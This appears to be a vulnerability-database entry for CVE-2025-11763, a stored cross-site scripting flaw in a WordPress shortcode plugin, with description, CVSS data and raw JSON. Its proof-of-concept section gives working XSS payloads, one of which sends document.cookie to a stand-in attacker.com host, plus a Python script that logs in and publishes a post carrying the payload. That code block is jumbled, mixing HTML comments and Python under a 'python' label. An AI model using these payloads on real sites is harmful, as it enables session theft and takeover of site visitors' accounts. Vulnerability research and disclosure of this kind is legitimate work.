Security Vulnerability Report
中文
CVE-2025-11763 CVSS 6.4 MEDIUM

CVE-2025-11763

Published: 2025-11-21 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Display Pages Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'column_count' parameter in the [display-pages] shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Display Pages Shortcode插件 <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11763 PoC: Stored XSS via column_count parameter --> <!-- Attack requires contributor-level access or higher --> <!-- Method 1: Via WordPress Shortcode --> [display-pages column_count="1'><script>alert('XSS');</script>"] <!-- Method 2: More sophisticated payload for cookie stealing --> [display-pages column_count="1'><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Method 3: Using event handlers (bypasses some filters) --> [display-pages column_count="1' onmouseover='alert(document.cookie)'"] <!-- Python script to exploit (requires valid WordPress session) --> import requests target_url = "https://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Page", "post_content": "[display-pages column_count=\"1'><script>alert(document.cookie)</script>\"]", "post_status": "publish", "action": "editpost" } resp = session.post(post_url, data=post_data) print(f"Exploit sent. Check {target_url} for XSS execution.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11763", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:48.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Display Pages Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'column_count' parameter in the [display-pages] shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/display-pages-shortcode/trunk/display-pages-shortcode.php#L513", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/display-pages-shortcode/trunk/display-pages-shortcode.php#L517", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/df4ada5f-6008-40b9-ad83-c6af82e64e9f?source=cve", "source": "[email protected]"}]}}